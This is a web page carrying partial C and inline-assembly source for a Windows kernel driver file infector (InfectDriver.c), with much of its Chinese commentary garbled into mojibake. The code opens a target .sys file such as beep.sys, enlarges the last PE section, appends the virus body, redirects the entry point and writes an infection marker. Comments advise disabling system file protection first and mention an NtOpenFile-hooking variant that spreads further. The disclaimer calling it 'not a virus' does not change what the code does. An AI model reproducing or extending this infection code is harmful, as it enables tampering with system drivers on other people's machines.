1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
|
/* * Module: InfectDriver.c * * Author : 老Y (æºèªkanxue,ä¸è¿èYæ¾çcodeä¸å® 整,需要自己补充) * Fixer : sudami [
该E-mail地址已受到防止垃圾邮件机器人的保护,您必须启用浏览器的Java Script才能看到。
] * Time : 08/05/28 * * Comment: * * åå¹´åä¸å¤§çå¨kanxueè¿è¡â驱卿æâæ «ç²,å¶å½æ¶æ²¡ææç½.åå¹´åçªç¶æ³èµ·æ¥,ä 是 * å°è¯å¦ä¹ ä¸.ç±äºå¶å¤ªè,å¼äºå 个å°å天 .终于调试成功. 关键点在于计算驱动自身的 * 大小, 编译完驱动后,要用IDA打开它: * 1. 计算出第一个变量到call $+5 处的偏移量. * 2. 计ç®ulEndaddrå°æä»¶æ«å°¾çåç§»é.ä¸è¬å 是INIT的那一小段dd. * * Description: * * æ¤é©±å¨çåè½å¾ç®å,å¯èªå·±æ©å,æææ 功后,仅仅创建一个线程不断的打印信息. * èªå·±æ©ååè½æ¶,è¦æ¶å»è®°ç对äºå¨å±åé 和函数,都得重新定位,用作者提供的 * KGetGlobalVarAddr() 函数即可. 对ææé¨åè¿è 了详细的注释,对此很陌生的同学 * 可以参考参考. ***** * * è¥æ³ææbeep.sysãnull.sysçç³»ç»æä»¶,è®°å¾ 先去掉SFP.当然,像微点这样的主动防御 * 软件已经不允许修改Driver目录下的sys了. 需要自己想办法; * * zjjmj2002大ç以ååè¿ä¸ä¸ªé©±å¨ææçsys,å 小的扭曲过,会挂钩NtOpenFile以实现感染 * 用户访问的驱动文件. 很好很邪恶~~~~ - - ***** * * Copyright (c) 2008 sudami. * Freely distributable in source or binary for noncommercial purposes. * This is not a virus, So take it easy, just for fun. * */
2处关键部分如下:
/** *@brief 感染指定的文件 * *@param[in] pwszFileName 要感染的驱动文件名 *@param[in] ulNewEntryPointDelta DriverEntry彿°åä 感染体首地址之间的差值 *@return è¿åSTATUS_SUCCESS表示æå,å¶å®å¼è¡¨ç 失败 */ int KInfect(WCHAR *pwszFileName, ULONG ulNewEntryPointDelta) { __asm{ call my_Next my_Next: pop eax sub eax, 5 mov ulDelta,eax } ultmp = ulDelta - 0x14B7; ulBodySize = ulEndAddr - ultmp + 0x34;
nRetCode = KPEInitFromFileW( &pe, pwszFileName ); if (!NT_SUCCESS(nRetCode)) { goto Exit0; } if (pe.pDosHdr->e_csum == 0x5748) { //感染标记 goto Exit0; } ulSecNum = KPEGetSecNum(&pe); if (!ulSecNum) { goto Exit0; } // // 对齐 // Misc.VirtualSize - 文件中的节长度.即对齐前的节尺寸 // SizeOfRawData - 内存中的节长度,即对齐后的节尺寸 // ulFileAlignment = pe.pNtHdr-> OptionalHeader.FileAlignment; // 段在文件中的对齐方式 ulSectionAlignment = pe.pNtHdr-> OptionalHeader.SectionAlignment; // 段加载后在内存中的对齐方式。 pe.pSecHdr[ulSecNum - 1].SizeOfRawData = ((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment; pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize = ((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment;
// // PointerToRawData - èåºäºæä»¶çåç§»é,å 根据它在文件中找到节 // ulNewFilePos - æ°çåå¥ç¹å°å,峿åä¸ 个节的末尾处 // e_ip - 初始的指令指针值, e_cs - 初始的代码段相对偏移量值 // AddressOfEntryPoint - 程序入口RVA // // æ°çç¨åºå¥å£æ¹ä¸ºäºææä½æåä¸ä¸ª 节,病毒体内的DriverEntry处 // ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData; pe.pDosHdr->e_ip = (USHORT)(pe.pNtHdr-> OptionalHeader.AddressOfEntryPoint & 0xFFFF); pe.pDosHdr->e_cs = (USHORT)( (pe.pNtHdr-> OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF); pe.pNtHdr->OptionalHeader.AddressOfEntryPoint = ulNewEntryPointDelta + pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize; // // 增加最后一个节的长度, + ulBodySize,为感染体自身的大小 // pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize; pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize; // // 写感染标记 // e_csum 为校验和 // pe.pDosHdr->e_csum = 0x5748; nRetCode = KSeek(pe.hFile, ulNewFilePos); if (!NT_SUCCESS(nRetCode)) { goto Exit0; } nRetCode = KWriteFile( pe.hFile, (PVOID)ultmp, // èµ·å§çBufferå°å,è¿éä¸ 病毒第一个全局变量的地址 ulBodySize, &ulReturnLength ); if (!NT_SUCCESS(nRetCode)) { goto Exit0; }
pe.pNtHdr->OptionalHeader.SizeOfImage = pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize; pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE); pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);
// // // nRetCode = KSeek(pe.hFile, 0); if (!NT_SUCCESS(nRetCode)) { goto Exit0; } .......... Exit0: KDelete(pe.pSecHdr); pe.pSecHdr = NULL; KDelete(pe.pNtHdr); pe.pNtHdr = NULL; KDelete(pe.pDosHdr); pe.pDosHdr = NULL; KClose(pe.hFile); return nResult; }
// // æ¬é©±å¨ä¼ææSystem32\Drivers\beep.sysï¼ææ 方式为更改最后一个节的大小, // ç¶åå奿æä½ä»£ç ï¼è¢«ææç驱å¨å è ½½æåç表ç°ä¸ºæ¯éä¸ç§ç§ä½¿ç¨DbgPrintè¾å I'm here // 可以在Windbg或DbgView查看 // NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { .... Exit0: __asm { push offset g_ulOrgEntryPoint call KGetGlobalVarAddr mov eax, [eax] or eax,eax jz Exit1 push eax // 保存eax - 原来的EOP call KCreateSystemThread // 干我们想干的事情 pop eax // 恢复eax - 原来的EOP pop edi pop esi pop ebx mov esp, ebp pop ebp jmp eax // JMP回程序的原入口继续执行 } Exit1: __asm { mov eax, 0C0000001h pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 } }
|